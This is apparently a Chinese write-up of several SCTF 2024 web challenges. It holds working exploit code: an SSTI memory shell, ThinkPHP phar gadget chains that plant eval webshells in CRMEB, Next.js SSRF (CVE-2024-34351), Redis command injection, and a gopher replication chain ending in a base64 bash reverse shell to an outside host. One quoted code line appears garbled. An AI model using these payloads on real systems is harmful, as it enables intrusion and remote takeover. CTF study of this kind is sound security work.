    }
}

这个执行的命令在shell参数上

image-20241001012853042


ezRender(复现)

hint1:
ulimit -n =2048
cat /etc/timezone : UTC

本地起环境调试咣咣报错,昏了

先审一下代码

app.py

from flask import Flask, render_template, request, render_template_string,redirect
from verify import *
from User import User
import base64
from waf import waf

app = Flask(__name__,static_folder="static",template_folder="templates")
user={}

@app.route('/register', methods=["POST","GET"])
def register():
    method=request.method
    if method=="GET":
        return render_template("register.html")
    if method=="POST":
        data = request.get_json()
        name = data["username"]
        pwd = data["password"]
        if name != None and pwd != None:
            if data["username"] in user:
                return "This name had been registered"
            else:
                user[name] = User(name, pwd)
                return "OK"

@app.route('/login', methods=["POST","GET"])
def login():
    method=request.method
    if method=="GET":
        return render_template("login.html")
    if method=="POST":
        data = request.get_json()
        name = data["username"]
        pwd = data["password"]
        if name != None and pwd != None:
            if name not in user:
                return "This account is not exist"
            else:
                if user[name].pwd == pwd:
                    token=generateToken(user[name])
                    return "OK",200,{"Set-Cookie":"Token="+token}
                else:
                    return "Wrong password"

@app.route('/admin', methods=["POST","GET"])
def admin():
    try:
        token = request.headers.get("Cookie")[6:]
    except:
        return "Please login first"
    else:
        infor = json.loads(base64.b64decode(token))
        name = infor["name"]
        token = infor["secret"]
        result = check(user[name], token)

    method=request.method
    if method=="GET":
        return render_template("admin.html",name=name)
    if method=="POST":
        template = request.form.get("code")
        if result != "True":
            return result, 401
        #just only blackList
        if waf(template):
            return "Hacker Found"
        result=render_template_string(template)
        print(result)
        if result !=None:
            return "OK"
        else:
            return "error"

@app.route('/', methods=["GET"])
def index():
    return redirect("login")

@app.route('/removeUser', methods=["POST"])
def remove():
    try:
        token = request.headers.get("Cookie")[6:]
    except:
        return "Please login first"
    else:
        infor = json.loads(base64.b64decode(token))
        name = infor["name"]
        token = infor["secret"]
        result = check(user[name], token)
    if result != "True":
        return result, 401

    rmuser=request.form.get("username")
    user.pop(rmuser)
    return "Successfully Removed:"+rmuser

if __name__ == '__main__':
    # for the safe
    del __builtins__.__dict__['eval']
    app.run(debug=False, host='0.0.0.0', port=8080)

一眼要伪造进 /admin 来ssti

找一下token的生成方式

def generateToken(user):
    secret_key=user.secret
    secret={"name":user.name,"is_admin":"0"}

    verify_c=jwt.encode(secret, secret_key, algorithm='HS256')
    infor={"name":user.name,"secret":verify_c}
    token=base64.b64encode(json.dumps(infor).encode()).decode()
    return token

看一下 user.secret 怎么来的

User.py

import time
class User():
    def __init__(self,name,password):
        self.name=name
        self.pwd = password
        self.Registertime=str(time.time())[0:10]
        self.handle=None

        self.secret=self.setSecret()

    def handler(self):
        self.handle = open("/dev/random", "rb")
    def setSecret(self):
        secret = self.Registertime
        try:
            if self.handle == None:
                self.handler()
            secret += str(self.handle.read(22).hex())
        except Exception as e:
            print("this file is not exist or be removed")
        return secret

取随机数生成么

注意到这里open("/dev/random", "rb")没close,我们每注册一个用户就会占用一个文件句柄,而这里ulimit -n =2048最多只能开2048个用户,ulimit限制到了之后这个地方就会进 except 报错,secret直接返回时间戳

那么我们尝试burp爆破注册2048个用户

POST /register HTTP/1.1
Host: 1.95.87.193:36183
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://1.95.87.193:36183/register
Content-Type: application/json
Content-Length: 39
Origin: http://1.95.87.193:36183
Connection: close

{"username":"test§1§","password":"123456"}

然后再注册一个新的用户并登录,此时的key用的就是时间戳了

import base64
import json
import time

import jwt
import requests

key = str(time.time())[0:10]
target = "http://1.95.87.193:36183"
requests.post(url=target + "/register",
              json={
                  "username": "aaa",
                  "password": "123456"
              })
token = requests.post(url=target + "/login",
                      json={
                          "username": "aaa",
                          "password": "123456"
                      }).headers["Set-Cookie"].split("Token=")[1]
jwtdata = (json.loads(base64.b64decode(token))["secret"])
print(int(key))
for i in range(int(key) - 2000, int(key) + 2000):
    try:

        print(jwt.decode(jwtdata, str(i), algorithms='HS256'))
        key = str(i)
    except:
        pass
secret = {"name": "aaa", "is_admin": "1"}
verify_c = jwt.encode(secret, key, algorithm='HS256')
infor = {"name": "aaa", "secret": verify_c}
token = base64.b64encode(json.dumps(infor).encode()).decode()
print(token)

但是这时候登录进去会报错,因为用户溢出了,得先删掉几个用户

POST /removeUser HTTP/1.1
Host: 1.95.87.193:36183
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://1.95.87.193:36183/register
Origin: http://1.95.87.193:36183
Connection: close
Cookie: Token=eyJuYW1lIjogImFhYSIsICJzZWNyZXQiOiAiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnVZVzFsSWpvaVlXRmhJaXdpYVhOZllXUnRhVzRpT2lJeEluMC43RlZYSHppMEZvY2NMRmFJdWlOMUx3S0p4WmdJT3RTRTEweGxFOTBBa3FNIn0=
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

username=test§1§

这样就能访问/admin了

现在就是打ssti了

template = request.form.get("code")
if result != "True":
    return result, 401
#just only blackList
if waf(template):
    return "Hacker Found"
result=render_template_string(template)
print(result)
if result !=None:
    return "OK"
else:
    return "error"

evilcode=["\\",
          "{%",
          "config",
          "session",
          "request",
          "self",
          "url_for",
          "current_app",
          "get_flashed_messages",
          "lipsum",
          "cycler",
          "joiner",
          "namespace",
          "chr",
          "request.",
          "|",
          "%c",
          "eval",
          "[",
          "]",
          "exec",
          "pop(",
          "get(",
          "setdefault",
          "getattr",
          ":",
          "os",
          "app"]
whiteList=[]
def waf(s):
    s=str(s.encode())[2:-1].replace("\\'","'").replace(" ","")
    if not s.isascii():
        return False
    else:
        for key in evilcode:
            if key in s:
                return True
    return False

过滤一堆,直接fenjing打内存马

import fenjing
import logging

import requests

logging.basicConfig(level=logging.INFO)

payload = """
[
    app.view_functions
    for app in [ __import__('sys').modules["__main__"].app ]
    for c4tchm3 in [
        lambda resp: [
            resp
            for cmd_result in [__import__('os').popen(__import__('__main__').app.jinja_env.globals["request"].args.get("cmd", "id")).read()]
            if [
                resp.headers.__setitem__("Aaa", __import__("base64").b64encode(cmd_result.encode()).decode()),
                print(resp.headers["Aaa"])
            ]
        ][0]
    ]
    if [
        app.__dict__.update({'_got_first_request':False}),
        app.after_request_funcs.setdefault(None, []).append(c4tchm3)
    ]
]
"""


def waf(s):
    blacklist = [
        "\\", "{%", "config", "session", "request", "self", "url_for",
        "current_app", "get_flashed_messages", "lipsum", "cycler", "joiner",
        "namespace", "chr", "request.", "|", "%c", "eval", "[", "]", "exec",
        "pop(", "get(", "setdefault", "getattr", ":", "os", "app"
    ]
    return all(word not in s for word in blacklist)


full_payload_gen = fenjing.FullPayloadGen(waf)
payload, will_print = full_payload_gen.generate(
    fenjing.const.EVAL, (fenjing.const.STRING, payload))
if not will_print:
    print("这个payload不会产生回显")
print(payload)

r = requests.post(
    "http://1.95.87.193:36183/admin",
    data={"code": payload},
    cookies={
        "Token": "eyJuYW1lIjogImFhYSIsICJzZWNyZXQiOiAiZXlKaGJHY2lPaUpJVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnVZVzFsSWpvaVlXRmhJaXdpYVhOZllXUnRhVzRpT2lJeEluMC43RlZYSHppMEZvY2NMRmFJdWlOMUx3S0p4WmdJT3RTRTEweGxFOTBBa3FNIn0="
    })
print(r.text)

注意这里把eval删了,我们可以用exec代替

del __builtins__.__dict__['eval']

image-20241003144013749

根目录下有/readflag

image-20241003144300979

flag:SCTF{3zRe0der_1s_Rea1lyEz@h4veFun1nSCTF!!}


Simpleshop(复现)

hint1: the ultimate goal is to enable rce to read the contents of the /flag file.
hint2: the foreground user can achieve rce and background has nothing to do, so it is pointless to break the background password.
hint3: source code on github/gitee latest version you can try to audit it
https://gitee.com/ZhongBangKeJi/CRMEB
https://github.com/crmeb/CRMEB

是个CRMEB,基于thinkphp的,php7.4

robots.txt:/A_letter_to_ctfer.html

Dear Friend:

I hope you are well! I just want to write this letter to ask for your help, recently my e-shopping site has been hacked, but I have disabled almost all the dangerous functions of php, and does some common php security restrictions,but there are still some problems.

In order to facilitate your test, you can through the /register.html registration of the front user, add users should not be harmful it

Can you help me to find out the problem,I'd appreciate it.I hope you are doing well!

I highly recommend you test it locally first, it will simplify the problem.

Good luck!

Your friend J1rrY

去 /register.html 注册一个账户登录一下看看

image-20241003220158443

有一个上传头像的接口,看一下

image-20241003220430354

对应的代码

crmeb/app/api/controller/v1/PublicController.php

/**
     * 图片上传
     * @param Request $request
     * @param SystemAttachmentServices $services
     * @return mixed
     */
public function upload_image(Request $request, SystemAttachmentServices $services)
{
    $data = $request->postMore([
        ['filename', 'file'],
    ]);
    if (!$data['filename']) return app('json')->fail(100100);
    if (CacheService::has('start_uploads_' . $request->uid()) && CacheService::get('start_uploads_' . $request->uid()) >= 100) return app('json')->fail(100101);
    $upload = UploadService::init();
    $info = $upload->to('store/comment')->validate()->move($data['filename']);
    if ($info === false) {
        return app('json')->fail($upload->getError());
    }
    $res = $upload->getUploadInfo();
    $services->attachmentAdd($res['name'], $res['size'], $res['type'], $res['dir'], $res['thumb_path'], 1, (int)sys_config('upload_type', 1), $res['time'], 3);
    if (CacheService::has('start_uploads_' . $request->uid()))
        $start_uploads = (int)CacheService::get('start_uploads_' . $request->uid());
    else
        $start_uploads = 0;
    $start_uploads++;
    CacheService::set('start_uploads_' . $request->uid(), $start_uploads, 86400);
    $res['dir'] = path_to_url($res['dir']);
    if (strpos($res['dir'], 'http') === false) $res['dir'] = $request->domain() . $res['dir'];
    return app('json')->success(100009, ['name' => $res['name'], 'url' => $res['dir']]);
}

尝试直接上传php马,发现有后缀检测,找一下规则

crmeb/config/upload.php

//上传文件后缀类型
'fileExt' => ['jpg', 'jpeg', 'png', 'gif', 'pem', 'mp3', 'wma', 'wav', 'amr', 'mp4', 'key', 'xlsx', 'xls', 'txt', 'ico'],
//上传文件类型
'fileMime' => [
    'image/jpg',
    'image/jpeg',
    'image/gif',
    'image/png',
    'text/plain',
    'audio/mpeg',
    'video/mp4',
    'application/octet-stream',
    'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
    'application/vnd.ms-works',
    'application/vnd.ms-excel',
    'application/zip',
    'application/vnd.ms-excel',
    'application/vnd.ms-excel',
    'text/xml',
    'image/x-icon',
    'image/vnd.microsoft.icon',
    'application/x-x509-ca-cert',
]

白名单后缀和文件类型

后台有 admin 的登录界面,不过 hint 告诉我们是前台rce

审一下源码,先从 api 功能开始,从刚才的上传接口那里入手,观察和文件相关的操作

crmeb/app/api/controller/v1/PublicController.php

/**
     * 获取图片base64
     * @param Request $request
     * @return mixed
     */
public function get_image_base64(Request $request)
{
    [$imageUrl, $codeUrl] = $request->postMore([
        ['image', ''],
        ['code', ''],
    ], true);
    if ($imageUrl !== '' && !preg_match('/.*(\.png|\.jpg|\.jpeg|\.gif)$/', $imageUrl) && strpos(strtolower($imageUrl), "phar://") !== false) {
        return app('json')->success(['code' => false, 'image' => false]);
    }
    if ($codeUrl !== '' && !(preg_match('/.*(\.png|\.jpg|\.jpeg|\.gif)$/', $codeUrl) || strpos($codeUrl, 'https://mp.weixin.qq.com/cgi-bin/showqrcode') !== false) && strpos(strtolower($codeUrl), "phar://") !== false) {
        return app('json')->success(['code' => false, 'image' => false]);
    }
    try {
        $code = CacheService::remember($codeUrl, function () use ($codeUrl) {
            $codeTmp = $code = $codeUrl ? image_to_base64($codeUrl) : false;
            if (!$codeTmp) {
                $putCodeUrl = put_image($codeUrl);
                $code = $putCodeUrl ? image_to_base64(app()->request->domain(true) . '/' . $putCodeUrl) : false;
                if ($putCodeUrl) {
                    unlink($_SERVER["DOCUMENT_ROOT"] . '/' . $putCodeUrl);
                }
            }
            return $code;
        });
        $image = CacheService::remember($imageUrl, function () use ($imageUrl) {
            $imageTmp = $image = $imageUrl ? image_to_base64($imageUrl) : false;
            if (!$imageTmp) {
                $putImageUrl = ;($imageUrl);
                $image = $putImageUrl ? image_to_base64(app()->request->domain(true) . '/' . $putImageUrl) : false;
                if ($putImageUrl) {
                    unlink($_SERVER["DOCUMENT_ROOT"] . '/' . $putImageUrl);
                }
            }
            return $image;
        });
        return app('json')->success(compact('code', 'image'));
    } catch (\Exception $e) {
        return app('json')->fail(100005);
    }
}

/api/image_base64 这里会接受两个参数 code 和 image

逻辑是先检查给定的 url 是否是一张图片,然后先尝试从缓存中获取图片,如果失败则调用put_image从远程下载图片,再转成base64

注意,因为这里缓存机制的存在,同一个图片只能触发一次 if 内的条件

这里需要重点关注一下put_image这个函数,跟过去看一下

function put_image($url, $filename = '')
{

    if ($url == '') {
        return false;
    }
    try {
        if ($filename == '') {

            $ext = pathinfo($url);
            if ($ext['extension'] != "jpg" && $ext['extension'] != "png" && $ext['extension'] != "jpeg") {
                return false;
            }
            $filename = time() . "." . $ext['extension'];
        }

        //文件保存路径
        ob_start();
        $url = str_replace('phar://', '', $url);
        readfile($url);
        $img = ob_get_contents();
        ob_end_clean();
        $path = 'uploads/qrcode';
        $fp2 = fopen($path . '/' . $filename, 'a');
        fwrite($fp2, $img);
        fclose($fp2);
        return $path . '/' . $filename;
    } catch (\Exception $e) {
        return false;
    }
}

一点图片后缀检测,然后对phar://进行置空,接着调用readfile远程读取文件,再保存到 uploads/qrcode 下

既然是用str_replace置空phar://,那么直接双写绕过即可,于是在readfile这里就能打一个phar://文件包含

那么,我们只需要控制前面的 code 参数为 phar 协议即可

这样子思路就很清晰了:在上传头像处上传图片马,内容是tp的反序列化链,通过 phar 文件包含来解析这个图片马从而触发反序列化实现rce

接下来就是找tp链子了,crmeb-5.4是基于 tp6 的,那么就是用tp6的链子,写文件的话,安装这个框架的时候会发现 public 目录一定是可写的

我这里是逆向搜索链子,从tp6的链子尾部开始往前找,貌似没啥变化,甚至是tp6.0的链子(后面发现我改的链子只控制 data 和 withAttr 打不了。。这里的是正确修改的poc)

<?php
namespace think\model\concern;
trait Attribute
{
    private $data = ["key"=>"<?php eval(\$_POST[1]);?>"];
    private $withAttr = ["key"=>"file_put_contents"];
    private $relation = ["key" => "/var/www/public/myshell.php"];
}
namespace think;
abstract class Model
{
    use model\concern\Attribute;
    private $lazySave = true;
    protected $withEvent = false;
    private $exists = true;
    private $force = true;
    protected $name;
    public function __construct($obj=""){
        $this->name=$obj;
    }
}
namespace think\model;
use think\Model;
class Pivot extends Model
{}
$a=new Pivot();
$b=new Pivot($a);

@unlink("1.phar");
$phar = new \Phar("1.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata($b); //将自定义的meta-data存入manifest
$phar->addFromString("test.jpg", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

发现有文件内容检测,看一下

crmeb/crmeb/services/upload/storage/Local.php

if (preg_match('/think|php|log|phar|Socket|Channel|Flysystem|Psr6Cache|Cached|Request|debug|Psr6Cachepool|eval/i', $content)) {
    return $this->setError('文件内容不合法');
}

怎么办呢,可以用gzip绕过,将1.phar改名为1.jpg,再给压缩

gzip 1.jpg

得到1.jpg.gz,再次上传

image-20241003232155586

得到路径:http://1.95.73.253/uploads/store/comment/20241003/2ee7c3e7993a6dfda10943ddd8a81d6e.jpg

现在去使用phar伪协议解析这个马,用绝对路径

image-20241003232533258

喜报:链子不对,请少侠重新来过

这里试图拿wm的链子打FileCookieJar

<?php
require __DIR__ . '/vendor/autoload.php';

use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;

$obj = new FileCookieJar('public/shell.php');
$payload = '<?php eval(filter_input(INPUT_POST,a)); ?>';
$obj->setCookie(new SetCookie(['Name' => 'foo', "Value" => "1",    'Domain' => $payload,    "a" => 'bar',    'Expires' => time()]));
$phar = new \Phar("1.phar");
$phar->startBuffering();
$phar->setStub('GIF89a' . "__HALT_COMPILER();");
$phar->setMetadata($obj);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();

失败了。。

再尝试拿星盟的链子打PhpSpreadsheet

这个链子的原型是 Thinkphp v6.0.13反序列化rce漏洞(CVE-2022-38352),参考https://www.cnblogs.com/1vxyz/articles/17659770.html

入口处选择了 PhpOffice\PhpSpreadsheet\Collection::Cells,同样也是一个用来缓存的类

image-20241004010724578

<?php

namespace PhpOffice\PhpSpreadsheet\Collection{
    class Cells{
        private $cache;
        public function __construct($exp){
            $this->cache = $exp;
        }
    }
}

namespace think\log{
    class Channel{
        protected $logger;
        protected $lazy = true;

        public function __construct($exp){
            $this->logger = $exp;
            $this->lazy = false;
        }
    }
}

namespace think{
    class Request{
        protected $url;
        public function __construct(){
            $this->url = '<?php file_put_contents("/var/www/public/uploads/store/comment/20241004/0w0.php", \'<?php eval($_POST[1]); ?>\', FILE_APPEND); ?>';
        }
    }
    class App{
        protected $instances = [];
        public function __construct(){
            $this->instances = ['think\Request'=>new Request()];
        }
    }
}

namespace think\view\driver{
    class Php{}
}

namespace think\log\driver{
    class Socket{
        protected $config = [];
        protected $app;
        public function __construct(){

            $this->config = [
                'debug'=>true,
                'force_client_ids' => 1,
                'allow_client_ids' => '',
                'format_head' => [new \think\view\driver\Php,'display'],
            ];
            $this->app = new \think\App();
        }
    }
}

namespace {
    $c = new think\log\driver\Socket();
    $b = new think\log\Channel($c);
    $a = new PhpOffice\PhpSpreadsheet\Collection\Cells($b);


    ini_set("phar.readonly", 0);
    $phar = new Phar('1.phar');
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
    $phar->setMetadata($a);
    $phar->addFromString("test.jpg", "test");
    $phar->stopBuffering();

}

同样的方式gzip打包后上传并phar包含,成功

image-20241004002901272

蚁剑连上去,发现开了disable_function

蚁剑插件打fpm跟它爆了即可

image-20241004005351773

连接 .antproxy.php 文件,密码不变

image-20241004005659565

最后find suid简单提个权即可


ezjump(复现)

稍微审一下代码,是 tsx 前端 + py 后端 + redis的服务

三个服务在同一个c段下

前端 tsx 总共有两个路由:

  • /play
  • /success

直接看 /success 路由的逻辑:

import {redirect} from "next/navigation";

export default function Success(){
    return (
        <>
        <div>Congratulations! CTFer!</div>
        <form
            action={async () => {
                "use server";
                redirect("/play");
            }}
            >
            <button type="submit">Let us Play Again!!</button>
        </form>
        </>
    )
}

直接猜测是在依赖上做文章打 ssrf 到内网py服务

搜一下,有CVE-2024-34351,参考:

https://zone.huoxian.cn/d/2910-nextjs-1411-server-actions-ssrf-cve-2024-34351

https://github.com/azu/nextjs-CVE-2024-34351

https://github.com/God4n/nextjs-CVE-2024-34351-_exploit

看一眼依赖版本:"next": "14.1.0",是了

直接vps启动服务开打

image-20240929220729080

image-20240929220708582

image-20240929220742430

可以打到内网的python服务,然后审py代码

import os
import subprocess
import urllib.request

from flask import Flask, request, session, render_template

from Utils.utils import *

app = Flask(__name__)
app.secret_key = os.urandom(32)

@app.route('/', methods=['GET'])
def hello():
    return "Welcome to SCTF 2024! Have a Good Time!"


@app.route('/login', methods=['GET'])
def login():
    username = request.args.get("username")
    password = request.args.get("password")
    user =get_user(username)
    if user:
            if password == user['password']:
                if user['role']=="admin":
                    cmd=request.args.get("cmd")
                    if not cmd:
                        return "No command provided", 400
                    if waf(cmd):
                        return "nonono"
                    try:
                        result = subprocess.run(['curl', cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE,text=True,encoding='utf-8')
                        return result.stdout
                    except Exception as e:
                        return f"Error: {str(e)}", 500
                else:
                    session['username'] = username
                    session['role'] = user['role']
                return render_template('index.html', username=session['username'], role=session['role'])
            else:
                session['username'] = 'guest'
                session['role'] = 'noBody'
                return render_template('index.html', username=session['username'], role=session['role'])
    else:
            add_user(username, password, 'n0B0dy')
            user = get_user(username)
            if user:
                session['username'] = username
                session['role'] = 'noBody'
            else:
                session['username'] = 'guest'
                session['role'] = 'noBody'
            return render_template('index.html', username=session['username'], role=session['role'])
    return "Please give me username and password!"


if __name__ == '__main__':
    app.run(debug=False, host='0.0.0.0', port=5000)

那么首先要做的还是伪造 session 的 role 为 admin

这里的 secret_key 是随机,暂时没法利用

先看下面的 else 分支:

else:
    add_user(username, password, 'n0B0dy')
    user = get_user(username)
    if user:
        session['username'] = username
        session['role'] = 'noBody'
    else:
        session['username'] = 'guest'
        session['role'] = 'noBody'
        return render_template('index.html', username=session['username'], role=session['role'])
def get_user(username):
    user_info_serialized = r.GET(f'user:{username}')
    if user_info_serialized:
        user_info = json.loads(base64.b64decode(user_info_serialized).decode())
        return user_info
    else:
        return None
    return None

def add_user(username, password, role):
    user_info = {'password': password, 'role': role}
    user_info_json = json.dumps(user_info)
    user_info_serialized = base64.b64encode(user_info_json.encode()).decode()
    r.SET(f'user:{username}', user_info_serialized)
def GET(key):
    redis_socket = connect_redis()
    try:
        # 发送命令
        command = pack_command('GET', key)
        redis_socket.sendall(command)

        # 接收响应
        response = b''
        while True:
            chunk = redis_socket.recv(1024)
            response += chunk
            if response.endswith(b'\r\n'):
                break
    finally:
        redis_socket.close()
    if "$-1\r\n" in response.decode('utf-8'):
        return None
        # 提取真实内容
    result_start_idx = response.index(b'\r\n') + 2  # 跳过第一行响应
    result_end_idx = response.index(b'\r\n', result_start_idx)  # 找到第二个\r\n
    real_content = response[result_start_idx:result_end_idx]
    return real_content

def SET(key, value):
    redis_socket = connect_redis()
    try:
        # 发送命令
        command = pack_command('SET', key, value)
        command = WAF(command)
        redis_socket.sendall(command)

        # 接收响应
        response = b''
        while True:
            chunk = redis_socket.recv(1024)
            response += chunk
            if response.endswith(b'\r\n'):
                break
    finally:
        redis_socket.close()

    return response.decode('utf-8')


def WAF(key):
    if b'admin' in key:
        key = key.replace(b'admin', b'hacker')
    return key

看起来我们可以尝试在add_user的时候写 role 的 key 为admin,那么问题又来到了绕 WAF 方法上

注意到这里是python2,而且在 app.py 中引入了urllib.request,考虑打 CVE-2016-5699

POST /success HTTP/1.1
Host: 192.168.91.196:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/x-component
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Referer: http://localhost:3000/success
Next-Action: b421a453a66309ec62a2d2049d51250ee55f10fd
Next-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22success%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D
Content-Type: multipart/form-data; boundary=---------------------------387260354522125837003053914509
Content-Length: 336
Origin: http://192.168.91.196:8000
Connection: close
Cookie: username-localhost-8888="2|1:0|10:1727599585|23:username-localhost-8888|44:YTg1MjI0NjBlMDQ2NDk3NThlMmM2OWQwYjJlYjI1NTY=|57afc02b8f933c374cd22d26b3e13658dfdf3393f91371e9988085e1fe8c2b0a";session=eyJyb2xlIjoibjBCMGR5IiwidXNlcm5hbWUiOiJndWVzdCJ9.ZvlgKQ.MpEB6rKKlCBg982YcU1UObNrOmI
SSRF: http://172.11.0.3:5000/login?username=http://172.11.0.4%0d%0aset%20user%20Admin%0D%0A:6379&password=123456
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------387260354522125837003053914509
Content-Disposition: form-data; name="1_$ACTION_ID_b421a453a66309ec62a2d2049d51250ee55f10fd"


-----------------------------387260354522125837003053914509
Content-Disposition: form-data; name="0"

["$K1"]
-----------------------------387260354522125837003053914509--

然而并没有成功

image-20240930001637889

没时间研究了。。


回到waf上来

def waf(url):
    if url.startswith(('file://', 'gopher://')):
        return True
    else:
        return False

gopher:// 可以大小写绕

def WAF(key):
    if b'admin' in key:
        key = key.replace(b'admin', b'hacker')
    return key

替换字符串导致长度+1的操作,有点眼熟,猜测有字符串逃逸

再看看这里RESP请求的构造

def pack_command(*args):
    # 构建 RESP 请求
    command = f"*{len(args)}\r\n"
    for arg in args:
        arg_str = str(arg)
        command += f"${len(arg_str)}\r\n{arg_str}\r\n"
    return command.encode('utf-8')

这里如果长度不一样的话就是字符串逃逸了,然后注入新的指令执行

测试:

先打印出正常的SET的command看看:

import json
import base64

def pack_command(*args):
    # 构建 RESP 请求
    command = f"*{len(args)}\r\n"
    for arg in args:
        arg_str = str(arg)
        command += f"${len(arg_str)}\r\n{arg_str}\r\n"
    return command.encode("utf-8")

def SET(key, value):
    command = pack_command("SET", key, value)
    command = WAF(command)
    return command

def WAF(key):
    if b"admin" in key:
        key = key.replace(b"admin", b"hacker")
    return key

user_info = {"password": None, "role": "admin"}
user_info_json = json.dumps(user_info)
user_info_serialized = base64.b64encode(user_info_json.encode()).decode()

print(SET("user:test",user_info_serialized))

得到:*3\r\n$3\r\nSET\r\n$9\r\nuser:test\r\n$48\r\neyJwYXNzd29yZCI6IG51bGwsICJyb2xlIjogImFkbWluIn0=\r\n

格式就像下面这样,每一个字段之间用\r\n间隔:

*3
$3
SET
$x
user:xxxx
$x
base64_encoded_json_password_and_role

由于 password 会被base64处理,所以我们可控的只有 username,那么我们就要截断*3\r\n$3\r\nSET\r\n$9\r\nuser:test\r\n这部分,然后注入我们自己的语句,这里先以插入一个权限为admin的新user作为测试

*3\r\n$3\r\nSET\r\n$9\r\nuser:test\r\n$0\r\n\r\n
*3\r\n$3\r\nSET\r\n$6\r\nuser:a\r\n$48\r\neyJwYXNzd29yZCI6IG51bGwsICJyb2xlIjogImFkbWluIn0=\r\n//
(最后要注释掉后面的部分)

那么我们要逃逸出\r\n$0\r\n\r\n"+"*3\r\n$3\r\nSET\r\n$6\r\nuser:a\r\n$48\r\neyJwYXNzd29yZCI6IG51bGwsICJyb2xlIjogImFkbWluIn0=//共88位字符

于是构造一下得到payload:

# print(SET("user:"+"admin"*88+"\r\n$0\r\n\r\n"+"*3\r\n$3\r\nSET\r\n$6\r\nuser:a\r\n$48\r\neyJwYXNzd29yZCI6IG51bGwsICJyb2xlIjogImFkbWluIn0=//",""))
print("admin"*88+"%0D%0A$0%0D%0A%0D%0A"+"*3%0D%0A$3%0D%0ASET%0D%0A$6%0D%0Auser:a%0D%0A$48%0D%0AeyJwYXNzd29yZCI6IG51bGwsICJyb2xlIjogImFkbWluIn0=//")


# adminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadminadmin%0D%0A$0%0D%0A%0D%0A*3%0D%0A$3%0D%0ASET%0D%0A$6%0D%0Auser:a%0D%0A$48%0D%0AeyJwYXNzd29yZCI6IG51bGwsICJyb2xlIjogImFkbWluIn0=//

本地测试一下

image-20241003011105381

image-20241003011119534

成功写入用户a,密码为空

image-20241003011214051

并且是admin权限

接下来观察命令执行的代码

cmd=request.args.get("cmd")
if not cmd:
    return "No command provided", 400
if waf(cmd):
    return "nonono"
try:
    result = subprocess.run(['curl', cmd], stdout=subprocess.PIPE, stderr=subprocess.PIPE,text=True,encoding='utf-8')
    return result.stdout
except Exception as e:
    return f"Error: {str(e)}", 500

def waf(url):
    if url.startswith(('file://', 'gopher://')):
        return True
    else:
        return False

接下来就是 ssrf 部分了,gopher打主从复制来弹shell

这里得手动打,因为我们不能掉登录,得设置 slave-read-only

config set slave-read-only no
SLAVEOF 192.168.0.142 21000
# 连上之后需要重新登录
CONFIG SET dir /tmp/
CONFIG SET dbfilename exp.so
slaveof no one
MODULE LOAD /tmp/exp.so
system.exec 'echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTQyLzY2NiAwPiYx | base64 -d | bash'

生成payload,url编码两次后打进去:

from urllib.parse import quote


def pack_command(*args):
    # 构建 RESP 请求
    command = f"*{len(args)}\r\n"
    for arg in args:
        arg_str = str(arg)
        command += f"${len(arg_str)}\r\n{arg_str}\r\n"
    return command.encode('utf-8')

print(quote(quote(pack_command("SET","user:ddd","xxx"))))
print(quote(quote(pack_command("config","set","slave-read-only","no"))))
print(quote(quote(pack_command("SLAVEOF","192.168.0.142","21000"))))
print(quote(quote(pack_command("SLAVEOF","no one","one"))))
print(quote(quote(pack_command("CONFIG","SET","dir","/tmp/"))))
print(quote(quote(pack_command("CONFIG","SET","dbfilename","exp.so"))))
print(quote(quote(pack_command("MODULE","LOAD","/tmp/exp.so"))))
print(quote(quote(pack_command("system.exec","echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTQyLzY2NiAwPiYx | base64 -d | bash"))))

image-20241003031257486

image-20241003031442349

image-20241003023609639


ez_tex(复现)

hint: /log

Werkzeug/2.1.2 Python/3.7.17

就一个上传和编译 tex 文件的python web服务

compile后不回显内容,也不知道文件传到哪去了

/log 那里给了个app.log,看不懂

先看一下tex的注入吧,参考:https://www.freebuf.com/articles/security-management/308191.html

tex的格式大致如下:

\documentclass{article}
\begin{document}
% Your content here
\end{document}

测了一下,tex的内容ban了下面这些东西

\write18
\immediate
\input
app
/
\include
..

然后编译允许的编译文件名长度最长为6

读文件

\newread\file
\openin\file=\\etc\\passwd
\read\file to\line
\text{\line}
\closein\file

写文件,但是不确定在哪里可以触发

